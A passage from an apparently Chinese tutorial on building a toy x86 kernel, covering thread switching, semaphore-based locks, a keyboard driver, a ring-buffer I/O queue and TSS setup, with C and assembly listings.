不需要将其加入队列,因为当前线程不在就绪队列中。*/
}

ASSERT(!list_empty(&thread_ready_list));
thread_tag = NULL; // thread_tag清空
/* 将thread_ready_list队列中的第一个就绪线程弹出,准备将其调度上cpu. */
thread_tag = list_pop(&thread_ready_list);
struct task_struct* next = elem2entry(struct task_struct, general_tag, thread_tag);
next->status = TASK_RUNNING;
switch_to(cur, next);
}

接下来是切换函数的实现,在thread/目录下创建switch.S,由两部分组成第一部分负责保存任务进入中断前的全部寄存器,第二部分负责保存esi、edi、ebx、ebp四个寄存器。堆栈图压栈之后的如下所示

image-20200526104424200

代码如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[bits 32]
section .text
global switch_to
switch_to:
;栈中此处是返回地址
push esi
push edi
push ebx
push ebp

mov eax, [esp + 20] ; 得到栈中的参数cur, cur = [esp+20]
mov [eax], esp ; 保存栈顶指针esp. task_struct的self_kstack字段,
; self_kstack在task_struct中的偏移为0,
; 所以直接往thread开头处存4字节便可。
;------------------ 以上是备份当前线程的环境,下面是恢复下一个线程的环境 ----------------
mov eax, [esp + 24] ; 得到栈中的参数next, next = [esp+24]
mov esp, [eax] ; pcb的第一个成员是self_kstack成员,用来记录0级栈顶指针,
; 用来上cpu时恢复0级栈,0级栈中保存了进程或线程所有信息,包括3级栈指针
pop ebp
pop ebx
pop edi
pop esi
ret ; 返回到上面switch_to下面的那句注释的返回地址,
; 未由中断进入,第一次执行时会返回到kernel_thread

修改makefie、printf等一些文件之后,最终能实现多线程的调度主函数main.c如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include "print.h"
#include "init.h"
#include "thread.h"
#include "interrupt.h"

void k_thread_a(void*);
void k_thread_b(void*);
int main(void) {
put_str("Welcome to TJ's kernel!\n");
init_all();

thread_start("k_thread_a", 31, k_thread_a, "argA ");
thread_start("k_thread_b", 8, k_thread_b, "argB ");

intr_enable();// 打开中断,使时钟中断起作用
while(1) {
put_str("Main ");
};
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */
char* para = arg;
while(1) {
put_str(para);
}
}

/* 在线程中运行的函数 */
void k_thread_b(void* arg) {
/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */
char* para = arg;
while(1) {
put_str(para);
}
}

不过这里会引发GP异常,如下所示,可以用nm build/kernel.bin | grep thread_start查看线程函数地址,然后在线程函数下断点,再用show exitint打印中断信息,这样就可以观察异常处的寄存器信息,这里产生异常的原因是寄存器bx的值超过了段界限limit的值0x7fff

image-20200526104424200

输入输出系统

同步机制-锁

思考之前代码的问题,字符打印问题主要出现在交界处无法打印正确,回忆put_str函数打印有三个步骤

  • 获取光标值
  • 将光标值转换为字节地址,在该地址处写入字符
  • 更新光标值

在打印的时候,若线程A到了第二步,此时发生了时钟中断,那么线程B就会重新获取光标值,这样导致数据覆盖,所以我们需要保证公共资源显存只有一个线程访问,也就是需要保证原子性,我们需要在put_str函数中进行开关中断的操作,如下所示,后面对公共资源”光标寄存器”也需要这样进行原子操作避免GP异常,这样做可以正确的打印输出,但只能解决输出函数线程竞争的问题,如果其他地方也有这种竞争问题就需要我们用一种新的机制来解决,也就是锁的机制。

1
2
3
4
5
6
7
[...]
while(1) {
intr_disable(); // 关中断
put_str("...");
intr_enable(); // 开中断
};
[...]

要进行线程同步,肯定要在需要同步的地方阻止线程的切换。这里主要通过信号量的机制对公共资源加锁,达到同步的目的。信号量的原理本身比较简单。通过P、V操作来表示信号量的增减,如下。

P操作,减少信号量:

  1. 判断信号量是否大于0
  2. 如果大于0, 将其减一
  3. 如果小于0,将当前线程阻塞

V操作,增加信号量:

  1. 将信号量的值加一
  2. 唤醒等待的线程

首先我们需要实现线程的阻塞与唤醒,阻塞通常是线程自己阻塞自己,唤醒通常是其他线程唤醒本线程。具体实现如下,在thread.c中进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* 当前线程将自己阻塞,标志其状态为stat. */
void thread_block(task_status stat)
{
/* stat取值为TASK_BLOCKED,TASK_WAITING,TASK_HANGING,也就是只有这三种状态才不会被调度*/
ASSERT(stat == TASK_BLOCKED || stat == TASK_WAITING || stat == TASK_HANGING);

enum intr_status old_status = intr_disable();
task_struct* cur_thread = running_thread();

cur_thread->status = stat; // 置其状态为stat
schedule(); // 将当前线程换下处理器

/* 待当前线程被解除阻塞后才继续运行下面的intr_set_status */
intr_set_status(old_status);
}

/* 将线程pthread解除阻塞 */
void thread_unblock(task_struct* pthread)
{
enum intr_status old_status = intr_disable();
ASSERT((pthread->status == TASK_BLOCKED) || (pthread->status == TASK_WAITING) || (pthread->status == TASK_HANGING));

if (pthread->status != TASK_READY)
{
ASSERT(!elem_find(&thread_ready_list, &pthread->general_tag));

if (elem_find(&thread_ready_list, &pthread->general_tag))
{
PANIC("thread_unblock: blocked thread in ready_list\n");
}

list_push(&thread_ready_list, &pthread->general_tag); // 放到队列的最前面,使其尽快得到调度
pthread->status = TASK_READY;
}
intr_set_status(old_status);
}

信号量锁的结构如下,实现在thread/sync.c和.h,信号量仅仅是一个编程理念,实现功能即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* 信号量结构 */
struct semaphore
{
uint8_t value;
struct list waiters;
};

/* 锁结构 */
struct lock
{
task_struct* holder; // 锁的持有者
struct semaphore semaphore; // 用二元信号量实现锁
uint32_t holder_repeat_nr; // 锁的持有者重复申请锁的次数
};

初始化就是给各个字段赋值

1
2
3
4
5
6
7
8
9
10
11
12
/* 初始化信号量 */
void sema_init(struct semaphore* psema, uint8_t value) {
psema->value = value; // 为信号量赋初值
list_init(&psema->waiters); //初始化信号量的等待队列
}

/* 初始化锁plock */
void lock_init(struct lock* plock) {
plock->holder = NULL;
plock->holder_repeat_nr = 0;
sema_init(&plock->semaphore, 1); // 信号量初值为1
}

P操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* 信号量down操作 */
void sema_down(struct semaphore *psema)
{
/* 关中断来保证原子操作 */
enum intr_status old_status = intr_disable();
while (psema->value == 0)
{
// 若value为0,表示已经被别人持有
ASSERT(!elem_find(&psema->waiters, &running_thread()->general_tag));
/* 当前线程不应该已在信号量的waiters队列中 */
if (elem_find(&psema->waiters, &running_thread()->general_tag))
{
PANIC("sema_down: thread blocked has been in waiters_list\n");
}

/* 若信号量的值等于0,则当前线程把自己加入该锁的等待队列,然后阻塞自己 */
list_append(&psema->waiters, &running_thread()->general_tag);
thread_block(TASK_BLOCKED); // 阻塞线程,直到被唤醒
}
/* 若value为1或被唤醒后,会执行下面的代码,也就是获得了锁。*/
psema->value--;
ASSERT(psema->value == 0);
/* 恢复之前的中断状态 */
intr_set_status(old_status);
}

V操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* 信号量的up操作 */
void sema_up(struct semaphore *psema)
{
/* 关中断,保证原子操作 */
enum intr_status old_status = intr_disable();
ASSERT(psema->value == 0);

if (!list_empty(&psema->waiters))
{
task_struct *thread_blocked = elem2entry(task_struct, general_tag, list_pop(&psema->waiters));
thread_unblock(thread_blocked);
}

psema->value++;
ASSERT(psema->value == 1);
/* 恢复之前的中断状态 */
intr_set_status(old_status);
}

获取锁和释放锁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* 获取锁plock */
void lock_acquire(struct lock *plock)
{
/* 排除曾经自己已经持有锁但还未将其释放的情况。*/
if (plock->holder != running_thread()) // 排除死锁的情况
{
sema_down(&plock->semaphore); // 对信号量P操作,原子操作,信号量减一
plock->holder = running_thread();
ASSERT(plock->holder_repeat_nr == 0);
plock->holder_repeat_nr = 1;
}
else
{
plock->holder_repeat_nr++;
}
}

/* 释放锁plock */
void lock_release(struct lock *plock)
{
ASSERT(plock->holder == running_thread());
if (plock->holder_repeat_nr > 1)
{
plock->holder_repeat_nr--;
return;
}
ASSERT(plock->holder_repeat_nr == 1);

plock->holder = NULL; // 把锁的持有者置空放在V操作之前
plock->holder_repeat_nr = 0;
sema_up(&plock->semaphore); // 信号量的V操作,也是原子操作
}

接下来需要对锁进行测试,我们需要对终端输出进行封装,基本上都是对锁的使用,没什么好说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include "console.h"
#include "print.h"
#include "stdint.h"
#include "sync.h"
#include "thread.h"
static struct lock console_lock; // 控制台锁

/* 初始化终端 */
void console_init() {
lock_init(&console_lock);
}

/* 获取终端 */
void console_acquire() {
lock_acquire(&console_lock);
}

/* 释放终端 */
void console_release() {
lock_release(&console_lock);
}

/* 终端中输出字符串 */
void console_put_str(char* str) {
console_acquire();
put_str(str);
console_release();
}

/* 终端中输出字符 */
void console_put_char(uint8_t char_asci) {
console_acquire();
put_char(char_asci);
console_release();
}

/* 终端中输出16进制整数 */
void console_put_int(uint32_t num) {
console_acquire();
put_int(num);
console_release();
}

然后在init文件添加初始化函数并在main文件进行测试,只需要将put_str("...")修改为console_put_str("..."),测试结果如下

image-20200526104424200

键盘获取输入输出

键盘的输入和输出主要是对8042和8048芯片的操作,这两芯片的数据在P456页开始有介绍,主要是对端口0x60的操作,其作为IO缓冲区,关系如下

image-20200526104424200

我们将键盘的输入根据键盘扫描码(P462)进行转换,最终需要将其转换为我们键盘按下字符对应的ASCII码。其本质就是,键盘中断处理程序负责接收按键信息,也就是扫描码,然后就是对扫描码的处理,我们将用驱动程序对其进行实现,需要分两个阶段完成

  • 如果是一些用于操作方面的控制键,比如shift,crtl等,就交给键盘驱动中完成
  • 如果是一些用于字符方面的键,就直接交给字符处理程序完成即可

我们在device/keyboard.c和.h中实现,其中对于操作控制键和其他键配合按下的情况,比如crtl+a这种就需要定义一个变量判断之前是否已经按下crtl键,对于shift组合字符我们用的是二维数组保存,如shift+1显示的是 ! 字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/* 定义以下变量记录相应键是否按下的状态,
* ext_scancode用于记录makecode是否以0xe0开头 */
static bool ctrl_status, shift_status, alt_status, caps_lock_status, ext_scancode;

/* 以通码make_code为索引的二维数组 */
static char keymap[][2] = {
/* 扫描码 未与shift组合 与shift组合*/
/* ---------------------------------- */
/* 0x00 */{0,0},
/* 0x01 */{esc,esc},
/* 0x02 */{'1','!'},
/* 0x03 */{'2','@'},
/* 0x04 */{'3','#'},
/* 0x05 */{'4','$'},
/* 0x06 */{'5','%'},
/* 0x07 */{'6','^'},
/* 0x08 */{'7','&'},
/* 0x09 */{'8','*'},
/* 0x0A */{'9','('},
/* 0x0B */{'0',')'},
/* 0x0C */{'-','_'},
/* 0x0D */{'=','+'},
/* 0x0E */{backspace, backspace},
/* 0x0F */{tab,tab},
/* 0x10 */{'q','Q'},
/* 0x11 */{'w','W'},
/* 0x12 */{'e','E'},
/* 0x13 */{'r','R'},
/* 0x14 */{'t','T'},
/* 0x15 */{'y','Y'},
/* 0x16 */{'u','U'},
/* 0x17 */{'i','I'},
/* 0x18 */{'o','O'},
/* 0x19 */{'p','P'},
/* 0x1A */{'[','{'},
/* 0x1B */{']','}'},
/* 0x1C */{enter, enter},
/* 0x1D */{ctrl_l_char, ctrl_l_char},
/* 0x1E */{'a','A'},
/* 0x1F */{'s','S'},
/* 0x20 */{'d','D'},
/* 0x21 */{'f','F'},
/* 0x22 */{'g','G'},
/* 0x23 */{'h','H'},
/* 0x24 */{'j','J'},
/* 0x25 */{'k','K'},
/* 0x26 */{'l','L'},
/* 0x27 */{';',':'},
/* 0x28 */{'\'','"'},
/* 0x29 */{'`','~'},
/* 0x2A */{shift_l_char, shift_l_char},
/* 0x2B */{'\\','|'},
/* 0x2C */{'z','Z'},
/* 0x2D */{'x','X'},
/* 0x2E */{'c','C'},
/* 0x2F */{'v','V'},
/* 0x30 */{'b','B'},
/* 0x31 */{'n','N'},
/* 0x32 */{'m','M'},
/* 0x33 */{',','<'},
/* 0x34 */{'.','>'},
/* 0x35 */{'/','?'},
/* 0x36*/{shift_r_char, shift_r_char},
/* 0x37 */{'*','*'},
/* 0x38 */{alt_l_char, alt_l_char},
/* 0x39 */{' ',' '},
/* 0x3A */{caps_lock_char, caps_lock_char}
/*其它按键暂不处理*/
};

后面的函数都是对通码、断码、组合键的一些处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
/* 键盘中断处理程序 */
static void intr_keyboard_handler(void) {

/* 这次中断发生前的上一次中断,以下任意三个键是否有按下 */
bool ctrl_down_last = ctrl_status;
bool shift_down_last = shift_status;
bool caps_lock_last = caps_lock_status;

bool break_code;
uint16_t scancode = inb(KBD_BUF_PORT);

/* 若扫描码是e0开头的,表示此键的按下将产生多个扫描码,
* 所以马上结束此次中断处理函数,等待下一个扫描码进来*/
if (scancode == 0xe0) {
ext_scancode = true; // 打开e0标记
return;
}

/* 如果上次是以0xe0开头,将扫描码合并 */
if (ext_scancode) {
scancode = ((0xe000) | scancode);
ext_scancode = false; // 关闭e0标记
}

break_code = ((scancode & 0x0080) != 0); // 获取break_code

if (break_code) { // 若是断码break_code(按键弹起时产生的扫描码)

/* 由于ctrl_r 和alt_r的make_code和break_code都是两字节,
所以可用下面的方法取make_code,多字节的扫描码暂不处理 */
uint16_t make_code = (scancode &= 0xff7f); // 得到其make_code(按键按下时产生的扫描码)

/* 若是任意以下三个键弹起了,将状态置为false */
if (make_code == ctrl_l_make || make_code == ctrl_r_make) { // crtl
ctrl_status = false;
} else if (make_code == shift_l_make || make_code == shift_r_make) { // shift
shift_status = false;
} else if (make_code == alt_l_make || make_code == alt_r_make) { // alt
alt_status = false;
} /* 由于caps_lock不是弹起后关闭,所以需要单独处理 */

return; // 直接返回结束此次中断处理程序

}
/* 若为通码,只处理数组中定义的键以及alt_right和ctrl键,全是make_code */
else if ((scancode > 0x00 && scancode < 0x3b) || \
(scancode == alt_r_make) || \
(scancode == ctrl_r_make)) {
bool shift = false; // 判断是否与shift组合,用来在一维数组中索引对应的字符
if ((scancode < 0x0e) || (scancode == 0x29) || \
(scancode == 0x1a) || (scancode == 0x1b) || \
(scancode == 0x2b) || (scancode == 0x27) || \
(scancode == 0x28) || (scancode == 0x33) || \
(scancode == 0x34) || (scancode == 0x35)) {
/****** 代表两个字母的键 ********
0x0e 数字'0'~'9',字符'-',字符'='
0x29 字符'`'
0x1a 字符'['
0x1b 字符']'
0x2b 字符'\\'
0x27 字符';'
0x28 字符'\''
0x33 字符','
0x34 字符'.'
0x35 字符'/'
*******************************/
if (shift_down_last) { // 如果同时按下了shift键
shift = true;
}
} else { // 默认为字母键
if (shift_down_last && caps_lock_last) { // 如果shift和capslock同时按下
shift = false;
} else if (shift_down_last || caps_lock_last) { // 如果shift和capslock任意被按下
shift = true;
} else {
shift = false;
}
}

uint8_t index = (scancode &= 0x00ff); // 将扫描码的高字节置0,主要是针对高字节是e0的扫描码.
char cur_char = keymap[index][shift]; // 在数组中找到对应的字符

/* 只处理ascii码不为0的键 */
if (cur_char) {
put_char(cur_char);
return;
}

/* 记录本次是否按下了下面几类控制键之一,供下次键入时判断组合键 */
if (scancode == ctrl_l_make || scancode == ctrl_r_make) {
ctrl_status = true;
} else if (scancode == shift_l_make || scancode == shift_r_make) {
shift_status = true;
} else if (scancode == alt_l_make || scancode == alt_r_make) {
alt_status = true;
} else if (scancode == caps_lock_make) {
/* 不管之前是否有按下caps_lock键,当再次按下时则状态取反,
* 即:已经开启时,再按下同样的键是关闭。关闭时按下表示开启。*/
caps_lock_status = !caps_lock_status;
}
} else {
put_str("unknown key\n");
}
}

修改main函数对我们的输入进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include "print.h"
#include "init.h"
#include "thread.h"
#include "interrupt.h"
#include "console.h"

void k_thread_a(void*);
void k_thread_b(void*);

int main(void) {
put_str("Welcome to TJ's kernel!\n");
init_all();

// thread_start("k_thread_a", 31, k_thread_a, "argA ");
// thread_start("k_thread_b", 8, k_thread_b, "argB ");

intr_enable();
while(1); //{
//console_put_str("Main ");
// };
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */
char* para = arg;
while(1) {
console_put_str(para);
}
}

/* 在线程中运行的函数 */
void k_thread_b(void* arg) {
/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */
char* para = arg;
while(1) {
console_put_str(para);
}
}

测试结果如下,可以实现大部分键盘的输入,但当使用小键盘中1~9的时候会显示未识别,不过这个问题不大

image-20200526104424200

为了构建交互式的shell,我们需要实现一个缓冲区用来保存我们输入的指令,这里我们使用的是一个环形的缓冲区,既然是环形,就涉及到它的设计思路,我们使用的是生产者-消费者模型,具体实现在device目录下的ioqueue.c和.h文件中,其中队列结构如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define bufsize 64

/* 环形队列 */
struct ioqueue {
// 生产者消费者问题
struct lock lock;
/* 生产者,缓冲区不满时就继续往里面放数据,
* 否则就睡眠,此项记录哪个生产者在此缓冲区上睡眠。*/
struct task_struct* producer;

/* 消费者,缓冲区不空时就继续从往里面拿数据,
* 否则就睡眠,此项记录哪个消费者在此缓冲区上睡眠。*/
struct task_struct* consumer;
char buf[bufsize]; // 缓冲区大小
int32_t head; // 队首,数据往队首处写入
int32_t tail; // 队尾,数据从队尾处读出
};

初始化io队列

1
2
3
4
5
6
/* 初始化io队列ioq */
void ioqueue_init(struct ioqueue* ioq) {
lock_init(&ioq->lock); // 初始化io队列的锁
ioq->producer = ioq->consumer = NULL; // 生产者和消费者置空
ioq->head = ioq->tail = 0; // 队列的首尾指针指向缓冲区数组第0个位置
}

其他函数如下所示,其中比较关键的是ioq_getcharioq_putchar函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/* 返回pos在缓冲区中的下一个位置值 */
static int32_t next_pos(int32_t pos) {
return (pos + 1) % bufsize;
}

/* 判断队列是否已满 */
bool ioq_full(struct ioqueue* ioq) {
ASSERT(intr_get_status() == INTR_OFF);
return next_pos(ioq->head) == ioq->tail;
}

/* 判断队列是否已空 */
static bool ioq_empty(struct ioqueue* ioq) {
ASSERT(intr_get_status() == INTR_OFF);
return ioq->head == ioq->tail;
}

/* 使当前生产者或消费者在此缓冲区上等待 */
static void ioq_wait(struct task_struct** waiter) {
ASSERT(*waiter == NULL && waiter != NULL);
*waiter = running_thread();
thread_block(TASK_BLOCKED);
}

/* 唤醒waiter */
static void wakeup(struct task_struct** waiter) {
ASSERT(*waiter != NULL);
thread_unblock(*waiter);
*waiter = NULL;
}

/* 消费者从ioq队列中获取一个字符 */
char ioq_getchar(struct ioqueue* ioq) {
ASSERT(intr_get_status() == INTR_OFF);

/* 若缓冲区(队列)为空,把消费者ioq->consumer记为当前线程自己,
* 目的是将来生产者往缓冲区里装商品后,生产者知道唤醒哪个消费者,
* 也就是唤醒当前线程自己*/
while (ioq_empty(ioq)) {
lock_acquire(&ioq->lock);
ioq_wait(&ioq->consumer);
lock_release(&ioq->lock);
}

char byte = ioq->buf[ioq->tail]; // 从缓冲区中取出
ioq->tail = next_pos(ioq->tail); // 把读游标移到下一位置

if (ioq->producer != NULL) {
wakeup(&ioq->producer); // 唤醒生产者
}

return byte;
}

/* 生产者往ioq队列中写入一个字符byte */
void ioq_putchar(struct ioqueue* ioq, char byte) {
ASSERT(intr_get_status() == INTR_OFF);

/* 若缓冲区(队列)已经满了,把生产者ioq->producer记为自己,
* 为的是当缓冲区里的东西被消费者取完后让消费者知道唤醒哪个生产者,
* 也就是唤醒当前线程自己*/
while (ioq_full(ioq)) {
lock_acquire(&ioq->lock);
ioq_wait(&ioq->producer);
lock_release(&ioq->lock);
}
ioq->buf[ioq->head] = byte; // 把字节放入缓冲区中
ioq->head = next_pos(ioq->head); // 把写游标移到下一位置

if (ioq->consumer != NULL) {
wakeup(&ioq->consumer); // 唤醒消费者
}
}

我们还需要修改interrupt.c文件,打开时钟中断和键盘中断,最后在main.c中修改测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[...]
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
thread_start("consumer_a", 31, k_thread_a, " A_");
thread_start("consumer_b", 31, k_thread_b, " B_");
intr_enable();
while(1);
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
while(1) {
enum intr_status old_status = intr_disable();
if (!ioq_empty(&kbd_buf)) {
console_put_str(arg);
char byte = ioq_getchar(&kbd_buf);
console_put_char(byte);
}
intr_set_status(old_status);
}
}

/* 在线程中运行的函数 */
void k_thread_b(void* arg) {
while(1) {
enum intr_status old_status = intr_disable();
if (!ioq_empty(&kbd_buf)) {
console_put_str(arg);
char byte = ioq_getchar(&kbd_buf);
console_put_char(byte);
}
intr_set_status(old_status);
}
}

这里我一直按下的 t 键,可以看到线程A和B交替执行

image-20200526104424200

用户进程

LDT

之前介绍GDT的时候提到过LDT,我们的操作系统本身不实现LDT,但其作用还是有必要了解的,LDT也叫局部描述符表。按照内存分段的方式,内存中的程序映像自然被分成了代码段、数据段等资源,这些资源属于程序私有部分,因此intel建议为每个程序单独赋予一个结构来存储其私有资源,这个结构就是LDT,因为是每个任务都有的,故其位置不固定,要找到它需要先像GDT那样注册,之后用选择子找到它。其格式如下,LDT中描述符的D位和L位固定为0,因为属于系统断描述符,因此S为0。描述符在S为0的前提下,若TYPE的值为0010,即表示描述符是LDT。与其配套的寄存器和指令即为LDTR和lldt "16位通用寄存器" 或 "16位内存单元"

image-20200526104424200

TSS

单核CPU想要实现多任务,唯一的方案就是多个任务共享同一个CPU,也就是让CPU在多个任务间轮转。TSS就是给每个任务”关联”的一个任务状态段,用它来关联任务。TSS(任务状态段)是由程序员来提供,CPU进行维护。程序员提供是指需要我们定义一个结构体,里面存放任务要用的寄存器数据。CPU维护是指切换任务时,CPU会自动把旧任务的数据存放的结构体变量中,然后将新任务的TSS数据加载到相应的寄存器中。

TSS和之前所说的段一样,本质上也是一片存储数据的内存区域,CPU用这块内存区域保存任务的最新状态。所以也需要一个描述符结构来表示它,这个描述符就是TSS描述符,它的结构如下,因为属于系统断描述符,因此S为0。描述符在S为0的前提下,若TYPE的值为10B1,B位表示Busy,为1表示繁忙,0表示空闲

image-20200526104424200

其工作模式和LDT相似,由寄存器TR保存TSS的起始地址,使用前也需要进行注册,都是通过选择子来访问的,将TSS加载到TR的指令是ltr,格式如下

1
ltr "16位通用寄存器" 或 "16位内存单元"

任务切换的方式有”中断+任务门”、”call或jmp+任务门”、和iretd三种方式,这些方式都比较繁琐,对于Linux系统以及大部分x86系统而言,这样使用TSS效率太低,这一套标准需要我们在”应付”的前提下达到最高效率,我们这里主要效仿Linux系统的做法,Linux为了提高任务切换的速度,通过如下方式来进行任务切换:

一个CPU上的所有任务共享一个TSS,通过TR寄存器保存这个TSS,在使用ltr指令加载TSS之后,该TR寄存器永远指向同一个TSS,之后在进行任务切换的时候也不会重新加载TSS,只需要把TSS中的SS0和esp0更新为新任务的内核栈的段地址及栈指针。

接下来我们实现TSS,在kernel/global.h中我们增加一些描述符属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// ----------------  GDT描述符属性  ----------------

#defineDESC_G_4K 1
#defineDESC_D_32 1
#define DESC_L 0// 64位代码标记,此处标记为0便可。
#define DESC_AVL 0// cpu不用此位,暂置为0
#define DESC_P 1
#define DESC_DPL_0 0
#define DESC_DPL_1 1
#define DESC_DPL_2 2
#define DESC_DPL_3 3
/*
代码段和数据段属于存储段,tss和各种门描述符属于系统段
s为1时表示存储段,为0时表示系统段.
*/
#define DESC_S_CODE1
#define DESC_S_DATADESC_S_CODE
#define DESC_S_SYS0
#define DESC_TYPE_CODE8// x=1,c=0,r=0,a=0 代码段是可执行的,非依从的,不可读的,已访问位a清0.
#define DESC_TYPE_DATA 2// x=0,e=0,w=1,a=0 数据段是不可执行的,向上扩展的,可写的,已访问位a清0.
#define DESC_TYPE_TSS 9// B位为0,不忙

/* 第3个段描述符是显存,第4个是tss */
#define SELECTOR_U_CODE ((5 << 3) + (TI_GDT << 2) + RPL3)
#define SELECTOR_U_DATA ((6 << 3) + (TI_GDT << 2) + RPL3)
#define SELECTOR_U_STACK SELECTOR_U_DATA

#define GDT_ATTR_HIGH ((DESC_G_4K << 7) + (DESC_D_32 << 6) + (DESC_L << 5) + (DESC_AVL << 4))
#define GDT_CODE_ATTR_LOW_DPL3 ((DESC_P << 7) + (DESC_DPL_3 << 5) + (DESC_S_CODE << 4) + DESC_TYPE_CODE)
#define GDT_DATA_ATTR_LOW_DPL3 ((DESC_P << 7) + (DESC_DPL_3 << 5) + (DESC_S_DATA << 4) + DESC_TYPE_DATA)


//--------------- TSS描述符属性 ------------
#define TSS_DESC_D 0

#define TSS_ATTR_HIGH ((DESC_G_4K << 7) + (TSS_DESC_D << 6) + (DESC_L << 5) + (DESC_AVL << 4) + 0x0)
#define TSS_ATTR_LOW ((DESC_P << 7) + (DESC_DPL_0 << 5) + (DESC_S_SYS << 4) + DESC_TYPE_TSS)
#define SELECTOR_TSS ((4 << 3) + (TI_GDT << 2 ) + RPL0)

struct gdt_desc {
uint16_t limit_low_word;
uint16_t base_low_word;
uint8_t base_mid_byte;
uint8_t attr_low_byte;
uint8_t limit_high_attr_high;
uint8_t base_high_byte;
};

#define PG_SIZE 4096

关键代码我们在userprog/tss.c中实现,首先根据tss结构构造如下结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 任务状态段tss结构 */
struct tss
{
uint32_t backlink;
uint32_t* esp0;
uint32_t ss0;
uint32_t* esp1;
uint32_t ss1;
uint32_t* esp2;
uint32_t ss2;
uint32_t cr3;
uint32_t (*eip) (void);
uint32_t eflags;
uint32_t eax;
uint32_t ecx;
uint32_t edx;
uint32_t ebx;
uint32_t esp;
uint32_t ebp;
uint32_t esi;
uint32_t edi;
uint32_t es;
uint32_t cs;
uint32_t ss;
uint32_t ds;
uint32_t fs;
uint32_t gs;
uint32_t ldt;
uint32_t trace;
uint32_t io_base;
};

初始化主要是效仿Linux中初始化ss0和esp0,然后将TSS描述符加载到全局描述符表中,因为GDT中第0个描述符不可用,第1个为代码段,第2个为数据段和栈,第3个为显存段,第4个就是我们的tss,故地址为0xc0000900+0x20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include "tss.h"
#include "stdint.h"
#include "global.h"
#include "string.h"
#include "print.h"

/* 任务状态段tss结构 */
struct tss {
uint32_t backlink;
uint32_t* esp0;
uint32_t ss0;
uint32_t* esp1;
uint32_t ss1;
uint32_t* esp2;
uint32_t ss2;
uint32_t cr3;
uint32_t (*eip) (void);
uint32_t eflags;
uint32_t eax;
uint32_t ecx;
uint32_t edx;
uint32_t ebx;
uint32_t esp;
uint32_t ebp;
uint32_t esi;
uint32_t edi;
uint32_t es;
uint32_t cs;
uint32_t ss;
uint32_t ds;
uint32_t fs;
uint32_t gs;
uint32_t ldt;
uint32_t trace;
uint32_t io_base;
};
static struct tss tss;

/* 更新tss中esp0字段的值为pthread的0级线 */
void update_tss_esp(struct task_struct* pthread) {
tss.esp0 = (uint32_t*)((uint32_t)pthread + PG_SIZE);
}

/* 创建gdt描述符 */
static struct gdt_desc make_gdt_desc(uint32_t* desc_addr, uint32_t limit, uint8_t attr_low, uint8_t attr_high) {
uint32_t desc_base = (uint32_t)desc_addr;
struct gdt_desc desc;
desc.limit_low_word = limit & 0x0000ffff;
desc.base_low_word = desc_base & 0x0000ffff;
desc.base_mid_byte = ((desc_base & 0x00ff0000) >> 16);
desc.attr_low_byte = (uint8_t)(attr_low);
desc.limit_high_attr_high = (((limit & 0x000f0000) >> 16) + (uint8_t)(attr_high));
desc.base_high_byte = desc_base >> 24;
return desc;
}

/* 在gdt中创建tss并重新加载gdt */
void tss_init() {
put_str("tss_init start\n");
uint32_t tss_size = sizeof(tss);
memset(&tss, 0, tss_size);
tss.ss0 = SELECTOR_K_STACK;
